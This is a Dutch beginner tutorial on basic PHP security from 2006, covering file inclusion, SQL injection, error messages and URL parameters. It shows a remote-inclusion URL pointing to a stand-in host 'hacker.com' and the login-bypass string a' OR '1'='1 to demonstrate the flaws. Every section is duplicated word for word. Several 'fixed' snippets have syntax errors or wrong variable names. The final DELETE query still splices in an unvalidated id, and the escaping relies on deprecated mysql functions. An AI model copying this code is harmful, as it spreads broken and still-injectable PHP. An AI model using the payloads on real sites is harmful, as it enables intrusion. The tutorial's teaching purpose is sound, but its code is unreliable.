Tutorials
Beveiliging in PHP de Basis
Edit (26-04-2006): Deze tutorial sloeg werkelijk nergens op zoals uit de comments ookal beleek, gelukkig heb ik in de tussen tijd ook nog wat bijgeleerd en de tutorial eens van een update voorzien.
Pagina 1
Includes
Veel mensen gebruiken een script zoals dit:
index.php?page=nieuws.php
<?php
include($_GET['page'])
?>
Om een pagina in te voegen is dit erg handig, maar iemand kan nu ook dit intypen:
index.php?page=http://hacker.com/hack.php
en alle PHP code uit hack.php zal netjes uitgevoerd worden, dus kan dus ernstige gevolgen hebben!
Er zijn verschillende manieren om dit op telossen ik zal er 2 bespreken:
Manier 1:
geef alle mogelijke pagina's op in een array:
<?php
$paginas = array(
'pagina1.php',
'pagina2.php');
?>
en controleer dan $_GET['page'] in je array voorkomt:
<?php
if(in_array($_GET['page'], $paginas){
include($_GET['page']);
}else{
echo "Deze pagina is onmogelijk";
}
?>
Nadeel: Je moet de array steeds aanpassen als je een pagina toevoegd.
Manier 2:
Een array samenstellen met alle pagina's uit de huidige map, deze mogen alleen geinclude worden:
<?php
$paginas = glob('*.php');
?>
en controleer dan $_GET['page'] in je array voorkomt:
<?php
if(in_array($_GET['page'], $paginas){
include($_GET['page']);
}else{
echo "Deze pagina is onmogelijk";
}
?>
index.php?page=nieuws.php
<?php
include($_GET['page'])
?>
Om een pagina in te voegen is dit erg handig, maar iemand kan nu ook dit intypen:
index.php?page=http://hacker.com/hack.php
en alle PHP code uit hack.php zal netjes uitgevoerd worden, dus kan dus ernstige gevolgen hebben!
Er zijn verschillende manieren om dit op telossen ik zal er 2 bespreken:
Manier 1:
geef alle mogelijke pagina's op in een array:
<?php
$paginas = array(
'pagina1.php',
'pagina2.php');
?>
en controleer dan $_GET['page'] in je array voorkomt:
<?php
if(in_array($_GET['page'], $paginas){
include($_GET['page']);
}else{
echo "Deze pagina is onmogelijk";
}
?>
Nadeel: Je moet de array steeds aanpassen als je een pagina toevoegd.
Manier 2:
Een array samenstellen met alle pagina's uit de huidige map, deze mogen alleen geinclude worden:
<?php
$paginas = glob('*.php');
?>
en controleer dan $_GET['page'] in je array voorkomt:
<?php
if(in_array($_GET['page'], $paginas){
include($_GET['page']);
}else{
echo "Deze pagina is onmogelijk";
}
?>
Pagina 2
MySQL Injection
Input velden zijn leuke velden voor "wannabee hackers", zeker als deze zondermeer in de query worden over genomen:
Een simpele login query als voorbeeld:
<?php
$query = "SELECT username, password FROM users WHERE username='".$_POST[ 'username']."';";
?>
Stel nu dat de gebruiker in het 'username' veld het volgende invult:
a' OR '1'='1
dan onstaat de volgende query:
<?php
$query = "SELECT username, password FROM users WHERE username='a' OR '1'='1';";
?>
Afhankelijk van de maniet van afhandelen hoeft dat geen verelende gevolgen te hebben, maar zo iets wil je gewoon niet, daar voor is de functie: mysql_real_escape_string() bedacht:
<?php
$query = "SELECT username, password FROM users WHERE username='".mysql_real_escape_string($_POST[ 'username'])."';";
?>
Een simpele login query als voorbeeld:
<?php
$query = "SELECT username, password FROM users WHERE username='".$_POST[ 'username']."';";
?>
Stel nu dat de gebruiker in het 'username' veld het volgende invult:
a' OR '1'='1
dan onstaat de volgende query:
<?php
$query = "SELECT username, password FROM users WHERE username='a' OR '1'='1';";
?>
Afhankelijk van de maniet van afhandelen hoeft dat geen verelende gevolgen te hebben, maar zo iets wil je gewoon niet, daar voor is de functie: mysql_real_escape_string() bedacht:
<?php
$query = "SELECT username, password FROM users WHERE username='".mysql_real_escape_string($_POST[ 'username'])."';";
?>
Pagina 3
Error afhandeling
In het voorige hoofdstukje heb je kunnen lezen dat het mogelijk is om een Query te beinvloeden, hierdoor zou het eventueel ook mogelijk zijn een tabel te droppen, daarom moet je mensen geen info geven die ze niet nodig hebben.
De functie mysql_error(); kan deze inforatie geven, daarom is het beter om deze alleen te gebruiken om te debuggen of voor een errorlog functie.
Voorbeeld:
dit zie je heel veel:
<?php
mysql_query($query) or die(mysql_error());
?>
Behalve dat dit de onnodige informatie geeft is dit ook nog eens zeer gebuikers onvriendelijk! Dit omdat de pagina daarna wordt afgebroken, je kan beter zo iets gebriken:
<?php
if(mysql_query()){
// Query is gelukt, doe alles waarvoor je deze nodig hebt.
}else{
echo "Een nette foutmelding";
// Eventueel kan je nu nog een e-mail sturen met de fout naar de site admin, of de error in een text file loggen...
}
?>
De functie mysql_error(); kan deze inforatie geven, daarom is het beter om deze alleen te gebruiken om te debuggen of voor een errorlog functie.
Voorbeeld:
dit zie je heel veel:
<?php
mysql_query($query) or die(mysql_error());
?>
Behalve dat dit de onnodige informatie geeft is dit ook nog eens zeer gebuikers onvriendelijk! Dit omdat de pagina daarna wordt afgebroken, je kan beter zo iets gebriken:
<?php
if(mysql_query()){
// Query is gelukt, doe alles waarvoor je deze nodig hebt.
}else{
echo "Een nette foutmelding";
// Eventueel kan je nu nog een e-mail sturen met de fout naar de site admin, of de error in een text file loggen...
}
?>
Pagina 4
Externe variabelen
nog een leuke is het verwijderen van een tabel op de volgende manier:
<?php
$query = "DELETE FROM berichten WHERE id=".$_GET["id"];
?>
Nu zal in de browser balk het volgende zichtbaar zijn:
delete.php?id=1
hier kan dus idereen zomaar invullen wat hij wil, je moet dus een controle middel hebben:
Als eerste moet je controleren of id wel een getal is:
<?php
if(is_numeric($_GET['id'])){
// id = een getal.
}
?>
nu kan nog zomaar steeds idereen dit bericht verwijderen en dus moet je kijken of de persoon wel bevoegt is om dit bericht te verwijderen, bijvoorbeel:
<?php
$query = "DELETE FROM berichten WHERE id=".$_GET["id"]." AND maker='".$_SESSION['loginnaam']."';";
?>
voor $_GET en $_POST geld exact het zelfde, deze zijn bijde te beinvloeden, maar ook de meeste $_SERVER variabelen zijn te beinvloeden!!
denk hierbij bijvoorbeeld aan $_SERVER['USER_AGENT'];
<?php
$query = "DELETE FROM berichten WHERE id=".$_GET["id"];
?>
Nu zal in de browser balk het volgende zichtbaar zijn:
delete.php?id=1
hier kan dus idereen zomaar invullen wat hij wil, je moet dus een controle middel hebben:
Als eerste moet je controleren of id wel een getal is:
<?php
if(is_numeric($_GET['id'])){
// id = een getal.
}
?>
nu kan nog zomaar steeds idereen dit bericht verwijderen en dus moet je kijken of de persoon wel bevoegt is om dit bericht te verwijderen, bijvoorbeel:
<?php
$query = "DELETE FROM berichten WHERE id=".$_GET["id"]." AND maker='".$_SESSION['loginnaam']."';";
?>
voor $_GET en $_POST geld exact het zelfde, deze zijn bijde te beinvloeden, maar ook de meeste $_SERVER variabelen zijn te beinvloeden!!
denk hierbij bijvoorbeeld aan $_SERVER['USER_AGENT'];
Reacties
0